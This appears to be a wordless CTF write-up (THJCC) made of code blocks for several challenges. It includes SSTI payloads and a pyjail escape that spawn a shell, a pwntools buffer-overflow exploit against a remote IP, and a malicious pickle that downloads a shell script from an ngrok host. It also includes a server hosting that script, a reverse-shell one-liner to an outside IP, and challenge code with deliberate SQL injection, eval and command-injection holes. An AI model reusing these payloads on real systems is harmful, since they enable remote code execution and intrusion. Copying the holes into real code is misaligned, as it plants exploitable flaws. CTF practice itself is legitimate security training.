1
2

{{ cycler.__init__.__globals__.os.popen('ls').read() }}
{{ cycler.__init__.__globals__.os.popen('cat f*').read() }}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

username, password = base64.b64decode(content.encode()).decode(encoding="utf8").split("@")
        # 去除所有空格
        username = "".join(username.split())
        password = "".join(password.split())

        # 過濾username中所有特殊字符
        mu = re.match(r'.*\W', username)
        if mu is None: 
            # 過濾password中所有英文字母跟等號
            cflag = False
            for w in password: 
                if (w in string.ascii_letters) or (w == "="): cflag = True
            if (cflag): return None
            else:
                conn = sqlite3.connect("user.db")
                rows = conn.execute(f"select * from user where (user='{username}') and (pass='{password}');")

                result = None
                for row in rows: result = tuple(row)
                conn.close()

                if result is None: return None
                else: return str(result[0])
        else: return None
    except: return None 

1

__import__('os').system('sh')

1
2
3
4
5
6
7
8
9
10

        print("Try to escape!!This is a jail")
        print("I increased security!!!")
        a=input("> ")
        if len(a)<15:
            eval(a)
        else:
            print("Don't escape!!")
    except:
        print("error")
        exit()

1
2

eval(input())
__import__('os').system('sh')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

import gmpy2

n = 82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939
c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157

for k in range(10000000000):
    [r, exact] = gmpy2.iroot(c + n * k, 3)
    if exact:
        print(k)
        print(r)
        print(bytes.fromhex(hex(r)[2:]))
        print(r ** 3 - n)
        break

        
PS C:\Users\soar\Desktop\THJCC> python .\ano.py
0
10730390416708815983109252601170483548761139798721771578612051039742995577854304300261210493
b'THJCC{small_eeeee_can_be_pwned_easily}'
-82905415164584389498448026225415346938606018253321653430325812461733619692702740470358738729810269013826173397262578691991849856264290961085622875149472415789737539211916246613050686384669201430910403455748023510028548778210626948951846171525568106928624546974128471265617762361862575967770449057297547555782

1
2
3
4
5
6
7
8
9
10
11
12

import numpy as np

shares = [(274, 3183503957), (900, 3802401987), (180, 3147556947)] # 手動替換
x_values = [x for x, _ in shares]
y_values = [y for _, y in shares]

degree = len(shares) - 1
recovered_poly = np.polyfit(x_values, y_values, degree)

secret = int(recovered_poly[-1])

print("Recovered Secret:", secret)

1
2
3
4
5
6
7
8
9
10
11
12
13

from itertools import cycle

def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

KEY= open("key.png", "rb").read()
FLAG = open("flag.jpg", "rb").read()

key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]]

enc = bytearray(xor(FLAG,key))

open('enc.txt', 'wb').write(enc)

1
2
3
4
5
6
7
8
9
10

from itertools import cycle

def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
enc = open("enc.txt", "rb").read()

flag = bytearray(xor(enc, key))
open('flag.jpg', 'wb').write(flag)

1
2
3
4
5
6
7
8
9
10
11
12

from pwn import *
import time

context.log_level = 'debug'
r = remote('23.146.248.36', 30004)

r.sendlineafter('you want', 'y')
time.sleep(1)
addr = 0x40121e

r.sendline(b'A'*56 + p64(addr))
r.interactive()

1
2
3
4
5
6
7
8

a = [44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5]
tar = 120
result = ""

for i in a:
    result += chr(i ^ tar)

print(result)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

soar@universe:/mnt/c/Users/soar/Downloads$ pycdc main.pyc
# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)

from FLAG import FLAG
from Crypto.Util.number import bytes_to_long

def xor1(flag):
    return flag ^ 124789


def xor2(flag):
    return flag ^ 487531


def xor3(flag):
    return flag ^ 784523


def xor4(flag):
    return flag ^ 642871


def xor5(flag):
    return flag ^ 474745

flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
    flag = xor1(flag)
    count += 2
    if count == 3:
        flag = xor2(flag)
        count += 1
    if count == 4:
        flag = xor3(flag)
        count -= 2
    else:
        flag = xor2(flag)
        count += 1
else:
    flag = xor3(flag)
    count += 5
if count == 2:
    flag = xor4(flag)
elif count == 6:
    flag = xor5(flag)
print(flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

from Crypto.Util.number import long_to_bytes

enc_flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695

def xor1(flag):
    return flag ^ 124789

def xor2(flag):
    return flag ^ 487531

def xor3(flag):
    return flag ^ 784523

def xor4(flag):
    return flag ^ 642871

def xor5(flag):
    return flag ^ 474745

aaa = xor1(xor2(xor3(xor4(enc_flag))))

print(long_to_bytes(aaa))

1
2
3
4
5
6
7
8
9
10
11
12
13

def profile():
    if request.method == "GET": 
        u, d = parse("example/adminExample.pickle")
        return render_template("admin.html", user = u, des = d, fileHeader = "ExampleProfile")
    elif request.method == "POST":
        if 'file' in request.files:
            file = request.files['file']
            if file.filename == '': return "FAIL"
            else: 
                filename = f"uploads/{random.randint(1000000000, 9999999999)}.pickle"
                file.save(filename)
                with open(filename, "rb") as f: item = pickle.load(f)
                return render_template("admin.html", user = item.user, des = item.description, fileHeader = "Your Profile")

1
2
3
4
5
6
7
8
9
10
11

from flask import Flask, send_file

app = Flask(__name__)

@app.route('/download')
def download_shell():
    filename = 'shell.sh'
    return send_file('./' + filename, as_attachment=True)

if __name__ == '__main__':
    app.run(debug=True)

1

/bin/sh -i >& /dev/tcp/148.100.77.86/8888 0>&1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

import pickle
import base64
import os

command = 'curl https://b33a-123-193-178-235.ngrok-free.app/download -o /tmp/shell.sh && chmod +x /tmp/shell.sh'

#command = 'bash /tmp/shell.sh'

class Exp:
    def __reduce__(self):
        return (__import__('subprocess').getoutput, (command,))


with open('payload.pickle', 'wb') as f:
    pickle.dump(Exp(), f)

1
2
3

if YourToKeNinShop!=JWTMODE.JWT_Naup() and (RAM>0 or RAM<0):
        
    flash("You are not my MASTER!Bad hacker!")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

@app.route("/exe", methods=["GET", "POST"])
def exe():
    if session["RAM"] <3:
        return redirect("/FFAM")
    data = request.json
    user_input = data.get('userInput')
   
    BLACKLIST=[ ';', '>','|', '&', '<', '\n','`', '*', '?','{' , '}', '[', ']','%']
    for i in BLACKLIST:
        if i in user_input:
            return "You are not my MASTER.You don't use this character."
        
    cmd="cat %s.txt"% (user_input)
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    if result.returncode == 0:
        output = str(result.stdout)
        
        return output
    else:
        output = "Command failed with error code:"+str(result.returncode)
        return output